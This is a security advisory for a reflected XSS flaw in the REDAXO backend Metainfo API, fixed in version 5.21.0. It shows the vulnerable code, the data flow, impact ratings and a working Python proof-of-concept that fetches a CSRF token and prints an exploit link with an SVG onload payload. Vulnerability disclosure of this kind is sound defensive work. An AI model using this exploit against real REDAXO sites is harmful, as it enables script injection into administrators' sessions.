Advisory

GHSA-m662-8jrj-cw6v

Also known as: CVE-2026-117537

Summary

REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)

Details

Summary

A reflected XSS vulnerability has been identified in the REDAXO backend. The type parameter is concatenated into an API error message and rendered without HTML escaping.

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Details

Root cause
User input type is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.

Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) :

$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));

Sink (`redaxo/src/core/lib/view.php`) :

return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Data flow source -> sink

  • Source : type (GET)
  • Propagation : concatenated into the exception message
  • Sink : rendered via rex_view::error() -> rex_view::message() without escaping

Authentication required : yes (backend session)

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PoC - exploit

#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\"><svg/onload=alert("pwned")>'


def build_backend_url() -> str:
    base = TARGET_URL.rstrip("/")
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
    if not m:
        raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
    fragment = m.group(0).replace("&amp;", "&")
    token_match = re.search(r"_csrf_token=([^&]+)", fragment)
    if not token_match:
        raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
    return token_match.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Admin backend session required
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "metainfo/articles",
        "rex-api-call": "metainfo_default_fields_create",
        "type": PAYLOAD,
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.

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Impact

  • Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
  • Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
  • Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

Video

https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83

Severity

Low Basis: The source's own band: LOW

Dates

Published
2026-04-10 19:40 UTC
Modified
2026-10-28 02:56 UTC

Affected packages and fixes

redaxo/source

Packagist · All systems

Affected

  • introduced 0, fixed 5.21.0 (ecosystem)

Fixed versions

5.21.0

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences